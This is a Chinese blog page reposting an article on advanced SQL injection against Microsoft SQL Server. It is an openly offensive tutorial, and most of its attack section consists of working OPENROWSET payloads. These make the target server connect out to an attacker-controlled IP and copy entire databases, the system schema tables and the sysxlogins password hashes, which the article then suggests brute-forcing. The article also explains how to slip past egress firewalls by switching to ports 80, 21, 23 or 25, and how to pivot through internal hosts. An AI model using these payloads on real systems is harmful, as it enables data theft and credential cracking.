首页 | 心情日记 | 建站心得 | 编程技术 | 大盘分析 | 股市信息 | 学习园地 | 电脑技巧 | 物流外贸 | 另类其它 | 站长推荐 | 给我留言 | 相册

用户登陆
用户:
密码:
 
不保存保存一天
保存一月保存一年

站点日历
73 2024 - 4 48
 123456
78910111213
14151617181920
21222324252627
282930


站点统计

最新评论

日志搜索

 标题   内容


SQL注入的不常见方法 SQL Injection攻击技术
未知 SQL_Injection高级应用   [ 日期:2006-12-26 10:28:34 ]   [ 来自:本站原创 ]

海外邮件中继,海外退信中继,美国高速VPS,不限流量VPN,邮局维护和管理,邮件网关,EMOS邮件中继,POSTFIX邮件中继,Winwebmail邮件中继,Winmail邮件中继,DBMail邮件中继,JDMail邮件中继,Exchange邮件中继,MDaemon邮件中继 淘宝店:http://shantan.taobao.com 云邮科技官网:www.yunrelay.com

【字体设置:
SQL_Injection高级应用

作者:apachy
灌一篇水,写一点关于SQL Injection的高级应用,针对SQL Server的。我假设你已经非常了解SQL Injection的基本概念。
【目标探测】
当大多数人都意识到SQL Injection的威胁并进行一番修补之后,可能很难再找到下手的地方。但若想成功就必需要冷静耐心,当然有时也需要一点点运气;) 如果有源码,一定要耐心仔细地看。在一个庞大的系统中,是很难做到万无一失的。而只要有一处漏洞,就足够威胁整个系统。千里之堤,溃于蚁穴。 
这里主要总结一些Injection的高级用法。如何发现漏洞不是此篇主题,可参考我以前的一篇文章《发掘另类injection》 需要说明的是,Injection不只存在于web页面,应用程序也存在,绝不可以只见树木不见森林。对任何一种技术的认识和理解要精益求精,将作用发挥的淋漓尽致。言归正传:
一、开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 
参数: (1) OLEDB Provider name 
(2) 连接字符串 (OLEDB数据源 或 ODBC 连接字符串) 
(3) SQL语句
其中连接字符串参数可以是任何和端口用来连接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table' )
二、复制数据库
利用一个Injection漏洞,可以经过无数次穷举探测来得到数据库中的信息。通常是手动输入,用来探测几位或十几位长的字段还是可行的(比如用来破解密码)。但还是想更简单一点,干脆写个程序来自动完成这个过程。后来又发现既便用程序,带入的字符依然很有限制,比如想得到数据库中一个“备份型”字段中的全部数据,这似乎是根本不可能的。有没有更简洁的办法。当然有,把整个数据库复制下来!
前提:在本机需要装上SQL SERVER,并且有一个公网IP。
要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。
基本语法:
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2
需要注意的是,要成功执行这条语句的前提是必需先在本地建立一个table1,而且table1的结构必需和目标主机上table2的结构一摸一样。为了得到table2的结构,必需从系统数据库着手。首先需要了解一些SQL Server系统数据库构造的知识。当新建用户数据库后,数据库中包含一些系统表,和这个数据库相关的信息就包含在这个表中。表信息,字段名、字段类型、存储过程等关键信息均存放于sysdatabases,sysobjects,syscolumns里面。因此可以通过复制这几个关键系统表来获得目标主机上数据库的构造信息。方法如下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') 
select * from master.dbo.sysdatabases 
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') 
select * from user_database.dbo.sysobjects 
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns') 
select * from user_database.dbo.syscolumns
之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
......
三、复制哈西表(HASH)
这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。
四、防火墙处理
这上述几种方法最根本的一个前提就是要求目标主机连接本地主机,所以这里必需考虑防火墙的因素。
在上述所有动作之前,首先要确定一件事情:有没有防火墙存在。
对于有防火墙限制向外连接的情况下可以尝试改变端口,比如80,给防火墙一个访问网页的假象,达到欺骗目的。
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,80;', 'select * from table1') select * from table1
若不成功可以继续测试21,23,25等端口,也可以先进行firewalk防火墙规则探测,帮助判断可用连接方式。
本地SQL SERVER则需要修改端口,或者做一个本地端口转发。
另有一种情况需要考虑,Sql Server和WEB Server是否是同一台主机。
判断是否同一主机的方法很多,可以直接扫描目标主机有没有开放1433端口。也可以让SQL反响连接本地任意端口,看本地防火墙有没有报警,查看来源IP是否和WEB SERVER的IP一致等。
若不在同一台主机,则需进一步判断SQL主机是否有公网IP,是否可以外向连接出来,是否有防火墙规则限制(若有,进行规则探测)。
若实在不幸,这些方法都无法连接,比如防火墙规则只允许内网主机访问SQL主机。那么可能需要进行一次转发。这需要在内网寻找一台可以向外连接的主机,进行端口转发。当然前提是必需先拿到这台主机的管理员权限,这种情况复杂一点,在此不再详细论述。

暂时没有评论
   发表评论 - 不要忘了输入验证码哦!
作者: 用户:  密码:  我要注册 验证码: 
为防止广告注册机程序,验证码不会自动显示,请点击此处显示或者(刷新)验证码!
评论:

禁止表情
禁止UBB
禁止图片
识别链接
识别关键字
确定发布?
最多可以输入200个字,目前你已经输入了0个字;你今日还可以发表10条评论!
 
   

CopyRight © 2008-2010 广东金融学院030904班 All Rights Reserved
Powered by www.030904.com